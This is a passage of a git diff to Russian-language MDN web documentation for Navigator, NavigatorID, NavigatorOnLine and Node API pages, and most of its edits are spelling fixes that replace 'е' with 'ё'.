неизвестен.</dd> <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt> @@ -106,7 +106,7 @@ translation_of: Web/API/Navigator <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline("1.7.8")}} {{obsolete_inline("9.0")}} {{experimental_inline}}</dt> <dd>Возвращает <code>false</code>. JavaScript taint/untaint функции отключены в JavaScript 1.2.</dd> <dt>{{domxref("Navigator.vibrate()")}} {{gecko_minversion_inline("11.0")}}</dt> - <dd>Причина вибрации устройства с поддержкой ее. Не делает ничего, если нет поддержки вибрации.</dd> + <dd>Причина вибрации устройства с поддержкой её. Не делает ничего, если нет поддержки вибрации.</dd> </dl> <h3 id="Specification" name="Specification">Не стандартизированные</h3> @@ -119,5 +119,5 @@ translation_of: Web/API/Navigator <dt>{{domxref("window.navigator.preference", "navigator.preference")}} {{obsolete_inline("2.0")}} {{non-standard_inline}}</dt> <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Устанавливает</span> <span class="hps">предпочтение</span> <span class="hps">пользователя</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Этот метод доступен</span> <a href="http://www.faqts.com/knowledge_base/view.phtml/aid/1608/fid/125/lang/en">только для привилегированного кода</a> <span class="hps">и</span> <span class="hps">является устаревшим</span><span>;</span></span> вы должны использовать вместо него XPCOM <a href="/en-US/docs/Preferences_API" title="Preferences_API">Preferences API</a>.</dd> <dt>{{domxref("window.navigator.requestWakeLock", "navigator.requestWakeLock")}} {{non-standard_inline}}</dt> - <dd>Запрос установки блокировки пробуждения для ресурса. Блокировка пробуждения препятствует определенной части устройства включится автоматически.</dd> + <dd>Запрос установки блокировки пробуждения для ресурса. Блокировка пробуждения препятствует определённой части устройства включится автоматически.</dd> </dl> diff --git a/files/ru/web/api/navigator/mediadevices/index.html b/files/ru/web/api/navigator/mediadevices/index.html index 2e8d3aaf0c..fc482a99f1 100644 --- a/files/ru/web/api/navigator/mediadevices/index.html +++ b/files/ru/web/api/navigator/mediadevices/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Navigator/mediaDevices --- <div>{{APIRef("Media Capture and Streams")}}</div> -<p>Свойство <strong><code>Navigator.mediaDevices</code></strong> только для чтения, возвращает объект {{domxref("MediaDevices")}}, который предоставляет доступ к подключенным медиа-устройствам ввода, таким как камера и микрофон, а также совместное использование экрана.</p> +<p>Свойство <strong><code>Navigator.mediaDevices</code></strong> только для чтения, возвращает объект {{domxref("MediaDevices")}}, который предоставляет доступ к подключённым медиа-устройствам ввода, таким как камера и микрофон, а также совместное использование экрана.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/navigator/registerprotocolhandler/index.html b/files/ru/web/api/navigator/registerprotocolhandler/index.html index a09dc87fea..b21f29f39c 100644 --- a/files/ru/web/api/navigator/registerprotocolhandler/index.html +++ b/files/ru/web/api/navigator/registerprotocolhandler/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Navigator/registerProtocolHandler <p>Позволяет веб-сайтам зарегистрировать себя как возможный обработчик для конкретных протоколов.</p> -<p><span id="result_box" lang="ru"><span class="hps">По соображениям</span> <span class="hps">безопасности</span><span>,</span> <span class="hps">по умолчанию</span><span>,</span> <span class="hps">веб-сайты могут</span> <span class="hps">зарегистрировать только</span> <span class="hps">обработчики протокола</span> <span class="hps">для себя</span> <span class="hps">-</span> <span class="hps">домен</span> <span class="hps">и протокол</span> <span class="hps">обработчика</span> <span class="hps">должны совпадать с</span> текущим <span class="hps">сайтом.</span></span> Тем не менее, пользователи могут установить предпочтение в Firefox, разрешающее перекрестную обработку веб-сайтов в настройках <code>gecko.handlerService.allowRegisterFromDifferentHost</code> установив <code>true</code> в about:config.</p> +<p><span id="result_box" lang="ru"><span class="hps">По соображениям</span> <span class="hps">безопасности</span><span>,</span> <span class="hps">по умолчанию</span><span>,</span> <span class="hps">веб-сайты могут</span> <span class="hps">зарегистрировать только</span> <span class="hps">обработчики протокола</span> <span class="hps">для себя</span> <span class="hps">-</span> <span class="hps">домен</span> <span class="hps">и протокол</span> <span class="hps">обработчика</span> <span class="hps">должны совпадать с</span> текущим <span class="hps">сайтом.</span></span> Тем не менее, пользователи могут установить предпочтение в Firefox, разрешающее перекрёстную обработку веб-сайтов в настройках <code>gecko.handlerService.allowRegisterFromDifferentHost</code> установив <code>true</code> в about:config.</p> <p><span id="result_box" lang="ru"><span class="hps">Расширения могут</span> <span class="hps">регистрировать обработчики</span> <span class="hps">протоколов</span><span>, направленные</span> <span class="hps">другие сайты</span><span>: </span></span>см. "Смотрите также" раздел как использовать их с XPCOM.</p> diff --git a/files/ru/web/api/navigator/vibrate/index.html b/files/ru/web/api/navigator/vibrate/index.html index 691330d85e..4736346bb2 100644 --- a/files/ru/web/api/navigator/vibrate/index.html +++ b/files/ru/web/api/navigator/vibrate/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Navigator/vibrate <p>Метод <strong><code>Navigator.vibrate()</code></strong> пульсирует вибрационным оборудованием на устройстве, <span id="result_box" lang="ru"><span class="hps">если</span> <span class="hps">такое аппаратное обеспечение</span> <span class="hps">существует. Если устройство не поддерживает вибрацию, этот метод не имеет ни какого эффекта.</span></span> Если шаблон вибрации уже в процессе выполнения, когда метод вызван, предыдущий шаблон останавливается и вместо него начинается новый.</p> -<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">метод</span> <span class="hps">не в состоянии</span> <span class="hps">вибрировать</span> <span class="hps">из-за</span> <span class="hps">недействительных</span> <span class="hps">параметров</span><span>,</span></span> он вернет <code>false</code>, иначе вернет <code>true</code>. Если шаблон ведет к слишком длинной вибрации, он усекается: <span id="result_box" lang="ru"><span class="hps">максимальная длина</span> <span class="hps">зависит</span> <span class="hps">от</span> <span class="hps">конкретной реализации</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">метод</span> <span class="hps">не в состоянии</span> <span class="hps">вибрировать</span> <span class="hps">из-за</span> <span class="hps">недействительных</span> <span class="hps">параметров</span><span>,</span></span> он вернёт <code>false</code>, иначе вернёт <code>true</code>. Если шаблон ведёт к слишком длинной вибрации, он усекается: <span id="result_box" lang="ru"><span class="hps">максимальная длина</span> <span class="hps">зависит</span> <span class="hps">от</span> <span class="hps">конкретной реализации</span><span>.</span></span></p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -16,7 +16,7 @@ translation_of: Web/API/Navigator/vibrate <dl> <dt><em>pattern</em></dt> - <dd><span class="short_text" id="result_box" lang="ru">Определяет <span class="hps">шаблон</span> <span class="hps">вибрации и</span> <span class="hps">интервал паузы</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Значение</span> <span class="hps">указывает на</span> <span class="hps">число миллисекунд</span><span> </span><span class="hps">вибрации</span> <span class="hps">или паузы</span>, <span class="hps">при чередовании</span></span>. <span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">указать либо</span> <span class="hps">одно значение</span> <span class="atn hps">(</span><span>вибрировать</span> <span class="hps">постоянно</span> <span class="hps">определенное</span> <span class="hps">количество миллисекунд</span><span>) или</span> <span class="hps">массив значений</span>, <span class="hps">поочередно</span>: <span class="hps">вибрировать</span><span>,</span> <span class="hps">пауза</span><span>, затем снова</span> <span class="hps">вибрировать</span><span class="hps">.</span></span> См. <a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration API</a> для уточнения деталей.</dd> + <dd><span class="short_text" id="result_box" lang="ru">Определяет <span class="hps">шаблон</span> <span class="hps">вибрации и</span> <span class="hps">интервал паузы</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Значение</span> <span class="hps">указывает на</span> <span class="hps">число миллисекунд</span><span> </span><span class="hps">вибрации</span> <span class="hps">или паузы</span>, <span class="hps">при чередовании</span></span>. <span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">указать либо</span> <span class="hps">одно значение</span> <span class="atn hps">(</span><span>вибрировать</span> <span class="hps">постоянно</span> <span class="hps">определённое</span> <span class="hps">количество миллисекунд</span><span>) или</span> <span class="hps">массив значений</span>, <span class="hps">поочерёдно</span>: <span class="hps">вибрировать</span><span>,</span> <span class="hps">пауза</span><span>, затем снова</span> <span class="hps">вибрировать</span><span class="hps">.</span></span> См. <a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration API</a> для уточнения деталей.</dd> </dl> <p>Переданное значение 0 или пустой массив, или массив содержащий все нули отменяет любой шаблон вибрации запущенный в текущий момент.</p> diff --git a/files/ru/web/api/navigatorid/platform/index.html b/files/ru/web/api/navigatorid/platform/index.html index bbed801cd9..37e7bcda2d 100644 --- a/files/ru/web/api/navigatorid/platform/index.html +++ b/files/ru/web/api/navigatorid/platform/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/NavigatorID/platform --- <p>{{ APIRef("HTML DOM") }}</p> -<p>Возвращает строку, показывающую платформу браузера. <span id="result_box" lang="ru"><span>Спецификация позволяет</span> <span class="hps">браузерам</span> <span class="hps">всегда возвращает</span> <span class="hps">пустую строку</span><span>,</span> <span class="hps">так что не стоит</span> <span class="hps">полагаться</span> <span class="hps">на это свойство</span><span>, чтобы получить</span> <span class="hps">надежный ответ</span><span>.</span></span></p> +<p>Возвращает строку, показывающую платформу браузера. <span id="result_box" lang="ru"><span>Спецификация позволяет</span> <span class="hps">браузерам</span> <span class="hps">всегда возвращает</span> <span class="hps">пустую строку</span><span>,</span> <span class="hps">так что не стоит</span> <span class="hps">полагаться</span> <span class="hps">на это свойство</span><span>, чтобы получить</span> <span class="hps">надёжный ответ</span><span>.</span></span></p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/navigatorid/product/index.html b/files/ru/web/api/navigatorid/product/index.html index 65aa5faa88..5bbcebbba1 100644 --- a/files/ru/web/api/navigatorid/product/index.html +++ b/files/ru/web/api/navigatorid/product/index.html @@ -29,14 +29,14 @@ function prod() { <button onclick="prod();">product</button> <div id="d"> </div> -<!-- вернет "Gecko" --> +<!-- вернёт "Gecko" --> </pre> <h2 id="Notes" name="Notes">Примечание</h2> -<p>В браузерах на основе Gecko <code>product</code> соответствует части полной строки агента пользователя которая идет первой после платформы. В пользовательском агенте Netscape 6.1, к примеру, <code>product</code> это "Gecko" а полная строка пользовательского агента будет: <code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1</code></p> +<p>В браузерах на основе Gecko <code>product</code> соответствует части полной строки агента пользователя которая идёт первой после платформы. В пользовательском агенте Netscape 6.1, к примеру, <code>product</code> это "Gecko" а полная строка пользовательского агента будет: <code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1</code></p> -<p>В браузере на основе WebKit <code>product </code>вернет "<code>Gecko</code>", хотя часть полной строки пользовательского агента непосредственно после после платформы на самом деле следующая: <code>(KHTML, like Gecko)</code>.</p> +<p>В браузере на основе WebKit <code>product </code>вернёт "<code>Gecko</code>", хотя часть полной строки пользовательского агента непосредственно после после платформы на самом деле следующая: <code>(KHTML, like Gecko)</code>.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/navigatorid/taintenabled/index.html b/files/ru/web/api/navigatorid/taintenabled/index.html index 528756b317..14a0dcf309 100644 --- a/files/ru/web/api/navigatorid/taintenabled/index.html +++ b/files/ru/web/api/navigatorid/taintenabled/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/NavigatorID/taintEnabled <p>Метод<code><strong> </strong></code><strong><code>NavigatorID.taintEnabled()</code></strong> всегда возвращает <code>false</code>.</p> -<div class="note"><span id="result_box" lang="ru"><strong><span class="hps">Примечание</span><span>:</span></strong> </span>Taint <span lang="ru"><span class="hps">был</span> <span class="hps">метод защиты</span> <span class="hps">используемый в</span> <span class="hps">JavaScript 1.2</span><span>.</span> <span class="hps">Он давно</span> <span class="hps">был удален</span><span>;</span> <span class="hps">этот метод</span> <span class="hps">остается</span> <span class="hps">только</span> <span class="hps">для поддержания</span> <span class="hps">совместимости</span> <span class="hps">с очень</span> <span class="hps">старыми скриптами</span><span>.</span></span></div> +<div class="note"><span id="result_box" lang="ru"><strong><span class="hps">Примечание</span><span>:</span></strong> </span>Taint <span lang="ru"><span class="hps">был</span> <span class="hps">метод защиты</span> <span class="hps">используемый в</span> <span class="hps">JavaScript 1.2</span><span>.</span> <span class="hps">Он давно</span> <span class="hps">был удалён</span><span>;</span> <span class="hps">этот метод</span> <span class="hps">остаётся</span> <span class="hps">только</span> <span class="hps">для поддержания</span> <span class="hps">совместимости</span> <span class="hps">с очень</span> <span class="hps">старыми скриптами</span><span>.</span></span></div> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/navigatorid/useragent/index.html b/files/ru/web/api/navigatorid/useragent/index.html index 952c7aca04..b28e5c9c50 100644 --- a/files/ru/web/api/navigatorid/useragent/index.html +++ b/files/ru/web/api/navigatorid/useragent/index.html @@ -33,7 +33,7 @@ Application-Name Application-Name-version <h2 id="Notes" name="Notes">Примечание</h2> -<p><span id="result_box" lang="ru"><span class="hps">Идентификация</span> <span class="hps">браузера</span> <span class="hps">на основе</span> <span class="hps">обнаружения</span> <span class="hps">строки агента пользователя</span> <span class="hps">является <strong>ненадежной</strong></span> <span class="hps">и <strong>не</strong></span><strong> </strong><span class="hps"><strong><strong>рекомендуется</strong>,</strong> так как строка</span> <span class="hps">пользователь</span><span class="hps">ского агента</span> <span class="hps">может быть изменена пользователем</span><span>.</span></span> Например:</p> +<p><span id="result_box" lang="ru"><span class="hps">Идентификация</span> <span class="hps">браузера</span> <span class="hps">на основе</span> <span class="hps">обнаружения</span> <span class="hps">строки агента пользователя</span> <span class="hps">является <strong>ненадёжной</strong></span> <span class="hps">и <strong>не</strong></span><strong> </strong><span class="hps"><strong><strong>рекомендуется</strong>,</strong> так как строка</span> <span class="hps">пользователь</span><span class="hps">ского агента</span> <span class="hps">может быть изменена пользователем</span><span>.</span></span> Например:</p> <ul> <li>В Firefox, вы можете изменить предпочтение {{pref("general.useragent.override")}} в <code>about:config</code>. Некоторые расширения делают это; Однако это изменяет только отправляемый заголовок HTTP, и не влияет на обнаружение браузера выполняемым кодом JavaScript.</li> diff --git a/files/ru/web/api/navigatorlanguage/language/index.html b/files/ru/web/api/navigatorlanguage/language/index.html index 6d1c542e1b..4576e7e207 100644 --- a/files/ru/web/api/navigatorlanguage/language/index.html +++ b/files/ru/web/api/navigatorlanguage/language/index.html @@ -65,7 +65,7 @@ translation_of: Web/API/NavigatorLanguage/language <td> <p>{{ CompatGeckoDesktop(1.0) }}</p> - <p>До Gecko 2.0 {{ geckoRelease("2.0") }}, значение этого свойства было частью строки пользовательского агента, таким как передает {{ domxref("window.navigator.userAgent", "navigator.userAgent") }}.</p> + <p>До Gecko 2.0 {{ geckoRelease("2.0") }}, значение этого свойства было частью строки пользовательского агента, таким как передаёт {{ domxref("window.navigator.userAgent", "navigator.userAgent") }}.</p> <p>Начиная с Gecko 5.0 {{ geckoRelease("5.0") }}, значение этого свойства основано на значении <code>Accept-Language</code> <a href="/en/HTTP/Headers" title="en/HTTP/Headers">HTTP header</a>.</p> </td> diff --git a/files/ru/web/api/navigatorlanguage/languages/index.html b/files/ru/web/api/navigatorlanguage/languages/index.html index aa983c642e..b088e29ea3 100644 --- a/files/ru/web/api/navigatorlanguage/languages/index.html +++ b/files/ru/web/api/navigatorlanguage/languages/index.html @@ -107,7 +107,7 @@ navigator.languages //["en-US", "zh-CN", "ja-JP"] </table> </div> -<p>[1]В Firefox, the <code>navigator.languages</code> значение свойства берется из <code>intl.accept_languages</code> предписаний.</p> +<p>[1]В Firefox, the <code>navigator.languages</code> значение свойства берётся из <code>intl.accept_languages</code> предписаний.</p> <h2 id="See_also" name="See_also">Смотрите также</h2> diff --git a/files/ru/web/api/navigatoronline/online/index.html b/files/ru/web/api/navigatoronline/online/index.html index 1620695b45..35c66e47fa 100644 --- a/files/ru/web/api/navigatoronline/online/index.html +++ b/files/ru/web/api/navigatoronline/online/index.html @@ -5,15 +5,15 @@ translation_of: Web/API/NavigatorOnLine/onLine --- <p>{{ApiRef("HTML DOM")}}</p> -<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">сетевой статус</span> <span class="hps">браузера</span><span>.</span></span> Свойство возвращает логическое (boolean) значение, <code>true</code> означает online и <code>false</code> означает offline.<span id="result_box" lang="ru"><span>Свойство</span> <span class="hps">обновляется</span> <span class="hps">всякий раз, когда</span> <span class="hps">способность</span> <span class="hps">браузера</span> <span class="hps">к подключению к</span> <span class="hps">сети</span> <span class="hps">изменится</span><span>.</span></span> <span id="result_box" lang="ru"><span>Обновление происходит тогда</span><span>, когда</span> <span class="hps">пользователь следует по</span> <span class="hps">ссылке или</span> <span class="hps">когда</span> <span class="hps">скрипт</span> <span class="hps">запрашивает</span> <span class="hps">удаленную страницу</span></span>. <span id="result_box" lang="ru"><span class="hps">Например,</span> свойство<span class="hps"> должно</span> <span class="hps">вернуть <code>false</code></span><span>, когда</span> <span class="hps">пользователь кликает по</span> <span class="hps">ссылке,</span> <span class="hps">вскоре после</span> <span class="hps">потери</span> <span class="hps">подключения к интернету</span><span>.</span></span></p> +<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">сетевой статус</span> <span class="hps">браузера</span><span>.</span></span> Свойство возвращает логическое (boolean) значение, <code>true</code> означает online и <code>false</code> означает offline.<span id="result_box" lang="ru"><span>Свойство</span> <span class="hps">обновляется</span> <span class="hps">всякий раз, когда</span> <span class="hps">способность</span> <span class="hps">браузера</span> <span class="hps">к подключению к</span> <span class="hps">сети</span> <span class="hps">изменится</span><span>.</span></span> <span id="result_box" lang="ru"><span>Обновление происходит тогда</span><span>, когда</span> <span class="hps">пользователь следует по</span> <span class="hps">ссылке или</span> <span class="hps">когда</span> <span class="hps">скрипт</span> <span class="hps">запрашивает</span> <span class="hps">удалённую страницу</span></span>. <span id="result_box" lang="ru"><span class="hps">Например,</span> свойство<span class="hps"> должно</span> <span class="hps">вернуть <code>false</code></span><span>, когда</span> <span class="hps">пользователь кликает по</span> <span class="hps">ссылке,</span> <span class="hps">вскоре после</span> <span class="hps">потери</span> <span class="hps">подключения к интернету</span><span>.</span></span></p> <p>Браузеры реализуют это свойство по-разному.</p> -<p>В Chrome и Safari, если браузер не может соединиться с локальной сетью (LAN) или роутером, это будет означать offline; во всех остальных случаях вернется <code>true</code>.Таким образом, мы можем предположить что браузер не в сети, когда возвращаемое значение <code>false</code>, но вы не можете предположить что значение true обязательно обозначает что браузер может получить доступ к интернету. <span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">получать</span> <span class="hps">ложные срабатывания</span><span>, например,</span> <span class="hps">в случаях, когда</span> <span class="hps">компьютер</span> <span class="hps">под управлением</span> <span class="hps">программного обеспечения</span> <span class="hps">для виртуализации</span><span>, которое имеет</span> <span class="hps">виртуальные</span> <span class="hps">сетевые адаптеры</span><span>, которые всегда</span> <span class="atn hps">"</span><span>Подключено".</span></span> <span id="result_box" lang="ru"><span class="hps">Поэтому</span><span>,</span> <span class="hps">если вы действительно хотите</span><span>, чтобы</span> <span class="hps">определять состояние</span> <span class="hps">браузера</span><span>,</span> <span class="hps">вы должны разработать</span> <span class="hps">дополнительные средства</span> <span class="hps">проверки</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Чтобы узнать больше</span><span>, см</span>отрите <span class="hps">статью</span> <span class="hps">HTML5</span></span> <a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html"> Working Off the Grid</a>.</p> +<p>В Chrome и Safari, если браузер не может соединиться с локальной сетью (LAN) или роутером, это будет означать offline; во всех остальных случаях вернётся <code>true</code>.Таким образом, мы можем предположить что браузер не в сети, когда возвращаемое значение <code>false</code>, но вы не можете предположить что значение true обязательно обозначает что браузер может получить доступ к интернету. <span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">получать</span> <span class="hps">ложные срабатывания</span><span>, например,</span> <span class="hps">в случаях, когда</span> <span class="hps">компьютер</span> <span class="hps">под управлением</span> <span class="hps">программного обеспечения</span> <span class="hps">для виртуализации</span><span>, которое имеет</span> <span class="hps">виртуальные</span> <span class="hps">сетевые адаптеры</span><span>, которые всегда</span> <span class="atn hps">"</span><span>Подключено".</span></span> <span id="result_box" lang="ru"><span class="hps">Поэтому</span><span>,</span> <span class="hps">если вы действительно хотите</span><span>, чтобы</span> <span class="hps">определять состояние</span> <span class="hps">браузера</span><span>,</span> <span class="hps">вы должны разработать</span> <span class="hps">дополнительные средства</span> <span class="hps">проверки</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Чтобы узнать больше</span><span>, см</span>отрите <span class="hps">статью</span> <span class="hps">HTML5</span></span> <a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html"> Working Off the Grid</a>.</p> <p><span id="result_box" lang="ru"><span class="hps">В Firefox</span> <span class="hps">и</span> <span class="hps">Internet Explorer</span><span>, переключение</span> <span class="hps">браузер</span>а <span class="hps">в автономный режим</span> <span class="hps">посылает</span> </span><code>false</code> значение. Во всех остальных случаях возвращается значение<code> true</code>.</p> -<p><span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">увидеть изменения</span> <span class="hps">в</span> <span class="hps">состоянии сети</span> <span class="hps">путем обработки</span> <span class="hps">событий </span></span><a href="/en-US/docs/Web/API/document.ononline"><code>window.ononline</code></a> и <a href="/en-US/docs/Web/API/document.onoffline"><code>window.onoffline</code></a>.</p> +<p><span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">увидеть изменения</span> <span class="hps">в</span> <span class="hps">состоянии сети</span> <span class="hps">путём обработки</span> <span class="hps">событий </span></span><a href="/en-US/docs/Web/API/document.ononline"><code>window.ononline</code></a> и <a href="/en-US/docs/Web/API/document.onoffline"><code>window.onoffline</code></a>.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -124,7 +124,7 @@ window.addEventListener("online", function(e) {alert("online");}) </table> </div> -<p>[1] <span id="result_box" lang="ru"><span class="hps">Начиная с</span> <span class="hps">Firefox</span> <span class="hps">4</span><span>,</span> <span class="hps">и</span> <span class="hps">Opera</span> <span class="hps">11.10</span><span>,</span> <span class="hps">браузер возвращает</span> <span class="hps"><code>true</code>, когда</span> <span class="hps">режим</span> <span class="atn hps">"</span><span>Работать автономно</span><span>"</span> <span class="hps">отключен, и</span> <code><span class="hps">false</span></code><span>, когда</span> <span class="hps">он включен</span><span>,</span> <span class="hps">независимо от фактического</span> <span class="hps">подключения</span><span>.</span></span></p> +<p>[1] <span id="result_box" lang="ru"><span class="hps">Начиная с</span> <span class="hps">Firefox</span> <span class="hps">4</span><span>,</span> <span class="hps">и</span> <span class="hps">Opera</span> <span class="hps">11.10</span><span>,</span> <span class="hps">браузер возвращает</span> <span class="hps"><code>true</code>, когда</span> <span class="hps">режим</span> <span class="atn hps">"</span><span>Работать автономно</span><span>"</span> <span class="hps">отключён, и</span> <code><span class="hps">false</span></code><span>, когда</span> <span class="hps">он включён</span><span>,</span> <span class="hps">независимо от фактического</span> <span class="hps">подключения</span><span>.</span></span></p> <p>[2]<span id="result_box" lang="ru"><span class="hps"> Более ранние версии</span> <span class="hps">Chrome</span> <span class="hps">возвращали</span> <span class="hps"><code>true</code> неверно, когда</span> <span class="hps">вкладка</span> <span class="hps">открывается впервые,</span> <span class="hps">то он</span> вначале сообщает правильный статус <span class="hps">подключения</span> <span class="hps">после</span> <span class="hps">первого события</span> <span class="hps">сети.</span></span></p> @@ -132,7 +132,7 @@ window.addEventListener("online", function(e) {alert("online");}) <h2 id="Notes" name="Notes">Примечание</h2> -<p><span id="result_box" lang="ru"><span class="hps">См</span> </span><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Online/Offline</a><span lang="ru"><span class="hps"> события</span> <span class="hps">для более детального</span> <span class="hps">описания</span> <span class="hps">этого</span> <span class="hps">свойства, а также</span> <span class="hps">новых возможностей</span> <span class="hps">в автономном режиме</span><span>, </span><span class="hps">введенных</span> <span class="hps">в</span></span> Firefox 3.</p> +<p><span id="result_box" lang="ru"><span class="hps">См</span> </span><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Online/Offline</a><span lang="ru"><span class="hps"> события</span> <span class="hps">для более детального</span> <span class="hps">описания</span> <span class="hps">этого</span> <span class="hps">свойства, а также</span> <span class="hps">новых возможностей</span> <span class="hps">в автономном режиме</span><span>, </span><span class="hps">введённых</span> <span class="hps">в</span></span> Firefox 3.</p> <h2 id="Specification" name="Specification">Спецификация</h2> diff --git a/files/ru/web/api/navigatorplugins/index.html b/files/ru/web/api/navigatorplugins/index.html index 3ab846b1c6..3cd92d124f 100644 --- a/files/ru/web/api/navigatorplugins/index.html +++ b/files/ru/web/api/navigatorplugins/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/NavigatorPlugins <dl> <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Возвращает флаг {{domxref("Boolean")}} показывающий включен ли java в браузере или нет.</dd> + <dd>Возвращает флаг {{domxref("Boolean")}} показывающий включён ли java в браузере или нет.</dd> </dl> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/navigatorplugins/javaenabled/index.html b/files/ru/web/api/navigatorplugins/javaenabled/index.html index 5d3ce42232..be4e6f741b 100644 --- a/files/ru/web/api/navigatorplugins/javaenabled/index.html +++ b/files/ru/web/api/navigatorplugins/javaenabled/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/NavigatorPlugins/javaEnabled --- <p>{{ APIRef("HTML DOM") }}</p> -<p>Этот метод показывает включен ли java в текущем браузере или нет.</p> +<p>Этот метод показывает включён ли java в текущем браузере или нет.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -21,7 +21,7 @@ translation_of: Web/API/NavigatorPlugins/javaEnabled <h2 id="Notes" name="Notes">Примечание</h2> -<p>Возвращаемое значение этого метода показывает положение java, включен ли или выключен - не предполагает поддержку java браузером полностью.</p> +<p>Возвращаемое значение этого метода показывает положение java, включён ли или выключен - не предполагает поддержку java браузером полностью.</p> <h2 id="Specification" name="Specification">Спецификация</h2> diff --git a/files/ru/web/api/node/appendchild/index.html b/files/ru/web/api/node/appendchild/index.html index e011179528..149d9b9b98 100644 --- a/files/ru/web/api/node/appendchild/index.html +++ b/files/ru/web/api/node/appendchild/index.html @@ -45,7 +45,7 @@ translation_of: Web/API/Node/appendChild <h2 id="Example" name="Example">Пример</h2> -<pre class="brush:js notranslate">// Создаем новый элемент параграфа, и вставляем в конец document body +<pre class="brush:js notranslate">// Создаём новый элемент параграфа, и вставляем в конец document body var p = document.createElement("p"); document.body.appendChild(p);</pre> diff --git a/files/ru/web/api/node/clonenode/index.html b/files/ru/web/api/node/clonenode/index.html index fbb7f327e7..64c76b2749 100644 --- a/files/ru/web/api/node/clonenode/index.html +++ b/files/ru/web/api/node/clonenode/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/Node/cloneNode <div class="note"> <p><strong>Примечание:</strong> в спецификации DOM4 (как реализовано в Gecko 13.0 {{geckoRelease(13)}}), <code>deep</code> необязательный аргумент. Если он опущен, метод действует как если бы значение <code>deep</code> было <strong><code>true</code></strong>, по умолчанию используется глубокое клонирование. Для создания поверхностного клонирования, <code>deep</code> должен быть установлен как <code>false</code>.</p> -<p>Это поведение было изменено в последней спецификации, и если опущено значение, метод будет действовать как если бы <code>deep</code> было <strong><code>false</code></strong>. Хотя, это все еще не обязательно, вы всегда должны обеспечить аргументом <code>deep</code>, для прямой и обратной совместимости. С Gecko 28.0 {{geckoRelease(28)}}), консоль предупреждает разработчиков не опускать аргумент. Начиная с Gecko 29.0 {{geckoRelease(29)}}), поверхностный клон, по умолчанию, вместо глубокого клона.</p> +<p>Это поведение было изменено в последней спецификации, и если опущено значение, метод будет действовать как если бы <code>deep</code> было <strong><code>false</code></strong>. Хотя, это все ещё не обязательно, вы всегда должны обеспечить аргументом <code>deep</code>, для прямой и обратной совместимости. С Gecko 28.0 {{geckoRelease(28)}}), консоль предупреждает разработчиков не опускать аргумент. Начиная с Gecko 29.0 {{geckoRelease(29)}}), поверхностный клон, по умолчанию, вместо глубокого клона.</p> </div> <h2 id="Example" name="Example">Пример</h2> @@ -37,7 +37,7 @@ translation_of: Web/API/Node/cloneNode <p id="not-event-listeners">Клонирование узлов копирует все атрибуты и их значения, в том числе собственных (в линию) перехватчиков. Это не копирует перехватчики событий, добавленных используя <a href="/en-US/docs/DOM/element.addEventListener" title="/en-US/docs/DOM/element.addEventListener"><code>addEventListener()</code></a> или тех что назначены через свойства элемента (т.е <code>node.onclick = fn</code>).</p> -<p>Дубликат узла, возвращенного <code>cloneNode()</code> не является частью документа, пока не будет добавлен в другой узел, который является частью документа, используя {{domxref("Node.appendChild()")}} или другой метод. Кроме того, не имеет родителя, пока не будет добавлен к другому узлу.</p> +<p>Дубликат узла, возвращённого <code>cloneNode()</code> не является частью документа, пока не будет добавлен в другой узел, который является частью документа, используя {{domxref("Node.appendChild()")}} или другой метод. Кроме того, не имеет родителя, пока не будет добавлен к другому узлу.</p> <p><code>Если deep</code> установлен как <code>false</code>, дочерние узлы не клонируются. Любой текст, который содержит узел также не клонируется, как и содержащийся в одном или более дочернем узле {{domxref("Text")}}.</p> @@ -45,7 +45,7 @@ translation_of: Web/API/Node/cloneNode <div class="warning"><strong>Внимание:</strong> <code>cloneNode()</code> может привести к дублированию идентификаторов элементов в документе.</div> -<p>Если исходный узел имеет 